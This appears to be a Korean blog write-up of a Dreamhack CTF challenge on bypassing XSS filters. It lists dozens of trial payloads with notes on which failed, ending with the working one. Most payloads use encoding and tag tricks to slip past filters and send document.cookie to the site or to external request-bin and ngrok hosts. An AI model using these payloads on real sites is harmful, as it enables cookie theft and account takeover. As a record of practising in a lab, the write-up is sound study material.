호그와트

드림핵 xss filtering bypass advanced

영웅*^%&$ 2022. 5. 12. 04:12
728x90

<script src="data:,document['locatio'+'n'].href = "/memo?memo=" + document.cookie;"></script>

<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">

<'scri'+'pt'>'docu'+'ment'['locatio'+'n'].href = "/memo?memo=" + 'docu'+'ment'+'.cookie;'<'/scr'+'ipt'>

<scr%09ipt>documen%09t['locatio'+'n'].href = "https://ltiufnz.request.dreamhack.games/?memo="

+ documen%09t.cookie;</scr%09iptipt>

<img src="n/a" onerror="alert(document.cookie)"/>

<img src='wrongLocation.jpg' o\tNError="lO\tcAtion.href='/memo?memo='+dOcu\tMent.cookie;" />

<iframe srcdoc='<img src=about: onerror=parent.alert(document.cookie)>'></iframe>

<script> Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](

decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();

</script>

<img srcdoc="data:text/plain;base64,PCYjeDczO2NyaXB0PmZldGNoKCcvbWVtbz9tZW1vPScrZG9jdW1lbnQuY29va2llKTwvJiN4NzM7Y3JpcHQ+"/>

<img src="data:image/png;base64;,PGltZyBzcmM9J3dyb25nTG9jYXRpb24uanBnJyBvbkVycm9yPSJsb2NhdGlvbi5ocmVmPScvbWVtbz9tZW1vPScrZG9jdW1lbnQuY29va2llOyIgLz4="/>

<s%00c%00r%00i%00p%00t>%00a%00l%00e%00r%00t%00'%001%00'</%00s%00c%00r%00i%00p%00t>

<img src="/error" o%00n%00e%00rr%00or=“lo%00ca%00tio%00n.href=’/memo?memo=’+d%00oc%00um%00ent.cookie”>

<s%00c%00r%00i%00p%00t>d%00o%00c%00u%00m%00e%00n%00t['locatio'+'n'].href = "/memo?memo=" + d%00o%00c%00u%00m%00e%00n%00t.cookie;</s%00c%00r%00i%00p%00t>

<s%00c%00r%00i%00p%00t>%00l%00o%00c%00a%00t%00i%00o%00n.href = "https://zcvhcky.request.dreamhack.games/?memo=" + d%00o%00c%00u%00m%00e%00n%00t.cookie;</s%00c%00r%00i%00p%00t>

가설 1 : <img src='wro ngLocatio n.jpg' o nError="locatio n.href='/memo?memo='+documen t.cookie;" />

이 기본적인 페이로드로도 충분히 뚫린다. 따라서 중요한 건 필터링 되어 있는 부분들만 잘 우회하는 것이다

-> 가설 1이 아니라는 건 검증되었다. 필터링을 우회하는 과정에서 유효성이 떨어져서 효과가 없게 되는 건가?

그니까 javascript로서의 문법이 지켜지질 못해서?

문제의 구성 자체는 너무 단순하다

필터링되는 태그들이 존재하고

그걸 우회해서 xss를 하면 성공이다

-> 라고 생각했는데 %09 로도.. 오 그리고

<scripont>locatioonn.href = "/memo?memo=" %2b documenont.cookie;</scripont>

<scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>

이것만 봐도 너무 확연하게 드러난다. location.href로 경로 지정을 해주는 것도 이미 그 자체로 충분히

유효하다고 생각했는데 사실 비슷한 우회 방식을 사용해도 위에 것은 효과가 없다. (가장 단적으로 보여준다)

가설 2 : <\u0073\u0063\u0072\u0069\u0070\u0074 src="data:,\u0064\u006f\u0063\u0075\u006d\u006e\u0065\u0074['locatio'+'n'].href = "/memo?memo=" + \u0064\u006f\u0063\u0075\u006d\u006e\u0065\u0074.cookie;"></\u0073\u0063\u0072\u0069\u0070\u0074>

사실 핵심적으로 연결되어있지만

페이로드 자체를 바꾸어 보았다.

<\u0073cript>\u0064ocument['locatio'+'n'].href = "/memo?memo=" + \u0064ocument.cookie;</\u0073cript>

<script>document['locatio'+'n'].href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>

<iframe srcdoc='<script src="data:text/javascript,alert(document.cookie)"></script>'></iframe>

<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//">

<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

<iframe src="data: ,

<script>

alert(document.cookie)

</script>

">

</iframe>

<iframe src="javascript://youtube.com#%0afetch('https://zxxhanj.request.dreamhack.games/'+document.cookie)">

이 페이로드가 너무 절묘하다 -> 계속 보다보면 확실히 직감이 발휘되는 것 같긴 하다 이 페이로드 자체는 굉장히 잘 맞아떨어질 수 있는 형태를 가지고 있었으니까

<iframe src="javascri%09pt:locatio%09n.href='https://osjauno.request.dreamhack.games/memo?memo='%2bdocumen%09t.cookie">

<iframe src="javascrip%00t:locatio%00n.href='/memo?memo='%2bdocumen%00t.cookie">

<iframe src="javascrip%0at:locatio%0an.href='/memo?memo='%2bdocumen%0at.cookie">

<iframe src="javascri%09pt:#fetch''https://csighyf.request.dreamhack.games/memo?memo='%2bdocumen%09t.cookie'">

<iframe src="javascri%09pt:fetch''https://csighyf.request.dreamhack.games/memo?memo='%2bdocumen%09t.cookie'">

<iframe src="javascrip t:locatio n.href='/memo?memo='+documen t.cookie">

필터링 단어들을 공백으로 치환하지 않고 filtered란 단어를 출력하게 하였다.

Exploit Tech: XSS Filtering Bypass - I에서 보면 URI 정규화 관련 내용이 나온다.

정규화 과정을 이용해서 접근해보았다. %09(\t), %0a(\n)을 이용하면 된다. : <iframe src="javascri%09pt:alert`1`"> --> alert(1) 실행된다. 흠...

<iframe src="javascri%09pt:alert`1`">

이걸로 xss가 된다는 거 자체가

1)iframe src로 넣어서 javascript를 실행할 수 있다는 의미

2)%09를 넣어서 javascript 필터링을 우회할 수 있다는 의미 -> location이랑 document에도 유효하다 ..

3) ' ' 를 넣어서 ( ) 괄호 필터링을 우회할 수 있다는 의미

테스트 쿠키를 만든 뒤 /vuln 페이지에서 아래의 페이로드를 보내면 쿠키 값이 메모장에 출력된다. : <iframe src="javascri%09pt:locatio%09n.href='/memo?memo='%2bdocumen%09t.cookie">

flag 페이지에서 입력할 때 아래 payload 그대로 넣어야 동작한다. (/vuln 페이지에 페이로드를 넣고 소스페이지에서 확인)

최종 payload : <iframe src="javascrip t:locatio n.href='/memo?memo='+documen t.cookie">

(걔가 한 말은 이해가 되었다. 걔가 했던 말은 /vuln 페이지에 페이로드를 넣으면 url encoding 되는 걸 실시간으로 볼 수 있으니까 위에 나온 최종 페이로드처럼 저렇게 나올 수 있는 우회할 값을 정확히 넣을 때 원하는 플래그를 얻을 수 있다는 뜻이었다)

->%20은 전형적인 띄어쓰기인데 이걸로는 상관이 없었다 flag가 나오지 않았다

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='%2bdocumen%09t.cookie">

<iframe src="javascri%0apt:locatio%0an.href='/memo?memo='%2bdocumen%0at.cookie">

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='%2bdocumen%20t.cookie">

<iframe src="javascri%0dpt:locatio%0dn.href='/memo?memo='%2bdocumen%0dt.cookie">

-- 여기 있는 부분은 위에 나온 최종 페이로드와 정확히 일치하게 나오질 않는다

<iframe src="javascrip+t:locatio+n.href='/memo?memo='%2bdocumen+t.cookie">

<iframe src="javascrip+t:locatio/**/n.href='/memo?memo='%2bdocumen/**/t.cookie">

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='%2bdocumen%09t.cookie">

<img src='wro%09ngLocatio%09n.jpg' o%09nError="locatio%09n.href='/memo?memo='+docume%09nt.cookie;" />

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='%2bdocumen%09t.cookie">

가설 1이 아니었네.. 똑같은 걸 해서 결국엔 우회만 하면 될 줄 알았는데 그게 아니었음

<iframe src="javascri%09pt:alert'documen%09t.domain'"></iframe>

<iframe srcdoc="<scr%09ipt>alert'docume%09nt.domain'</scr%09ipt>"></iframe>

<script>location.href="/memo?memo="+document.cookie;</script>

<iframe srcdoc="<scr%09ipt>locatio%09n.href="/memo?memo="+docume%09nt.cookie;</scr%09ipt>"></iframe>

<iframe src="data:text/html;,<script>alert(document.domain)</script>"></iframe>

그러므로 iframe은 굳이 data scheme(data:)를 사용해도 이득이 없네요.

<iframe src="javascri%09pt:fetch''https://rrvcigy.request.dreamhack.games/memo?memo='+documen%09t.domain'">

-> 그냥 단순 따옴표 문제는 아니겠지?

<iframe src="javascri%09pt:alert'documen%09t.domain'"></iframe>

<iframe srcdoc="<scrip%09t>fetch('/memo?memo='%2bdocumen%09t.cookie)</scrip%09t>">

<iframe srcdoc="<script>fetch('/memo?memo='+document.cookie)</script>">

그냥 bypass로 실험하면서 알게 된건데.. 페이로드 자체에 문제가 있는 듯하다.

일단 일반론적인 차원으로 정리하면 <script> 태그의 경우 %09를 넣는다고 우회가 되진 않는다

뜻이 없는 것처럼 처리된다.

javascript의 경우 완벽히 정확하게 값을 넣어야 처리되기 때문인 건가

그니까 조금 더 추상적인 차원으로 정리해보면, 내가 여기서 시도한 부분은

기본적인 조건이 충족된 상태에서(location.href, script, iframe 등) + 필터링을 우회하는 것이었다

그래서 필터링 우회에 내가 아는 선에서 가장 유효했던 %09를 이용했지만

나머지 조건을 완벽히 충족시켜주어도 payload가 유효하지 않다는 결론만 얻게 되었다.

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='+documen%09t.cookie">

<iframe srcdoc="<img src='wroonngLocatioonn.jpg' oonnError="locatio%09n.href='/memo?memo='+document.cookie;" />">

<img src='wro%09ngLocatio%09n.jpg' o%09nError="locatio%09n.href='/memo?memo='+docume%09nt.cookie;" />

<scrip%09t>locatio%09n.href = "/memo?memo=" + documen%09t.cookie;</scrip%09t>

<scripont>locatioonn.href = "/memo?memo=" %2b documenont.cookie;</scripont>

<scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>

<scrip%09t>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scrip%09t>

<img src=@ onerror=location.href="https://jytoplk.request.dreamhack.games/".concat(document.cookie)>

<iframe srcdoc="<img src=@ o%09nerror=documen%09t['locatio'+'n'].href="/memo?memo=".co%09ncat'documen%09t.cookie'>"></iframe>

<iframe%20src="javascrip%09t:locatio%09n.href=%27/memo?memo=%27+documen%09t.cookie">

<iframe src="javascri%09pt:locatio%09n.href='https://hvpsjdk.request.dreamhack.games/memo?memo='+documen%09t.cookie">

<iframe src="javascri%09pt:locatio%09n.href='/memo?memo='+documen%09t.cookie">

페이로드가 적절한데도 불구하고 아무런 값이 나오질 않는다. 정말로 다른 점을 1도 모르겠다..

<iframe%20src="javascrip%09t:locatio%09n.href=%27/memo?memo=%27%2bdocumen%09t.cookie">

<img src='wro ngLocatio n.jpg' o nError="locatio n.href='/memo?memo='+documen t.cookie;" />

<iframe src="javascrip%09t:locatio%09n.href=%27https://vvnhexw.request.dreamhack.games/memo?memo=%27%2bdocumen%09t.cookie">

flag=DH{secret} raw 데이터 형식 그대로였다 그런 식으로 페이로드를 넣으니 플래그를 얻을 수 있었다

728x90

'호그와트' 카테고리의 다른 글

드림핵 dreamhack fly to the moon  (0) 2022.05.12
dreamhack dom xss  (3) 2022.05.12
드림핵 호박 게임  (0) 2022.04.20
드림핵 mango 쉬워요  (0) 2022.04.06
드림핵 spring view  (0) 2022.04.06